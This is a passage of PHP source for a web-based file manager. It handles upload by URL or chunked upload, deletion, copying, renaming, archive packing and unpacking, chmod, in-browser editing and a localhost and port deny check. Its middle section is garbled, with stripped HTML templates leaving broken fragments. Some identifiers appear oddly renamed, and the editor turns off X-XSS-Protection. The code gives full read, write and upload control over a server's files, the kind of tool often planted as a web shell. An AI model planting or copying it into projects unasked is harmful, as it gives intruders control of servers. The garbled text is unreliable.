$domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if 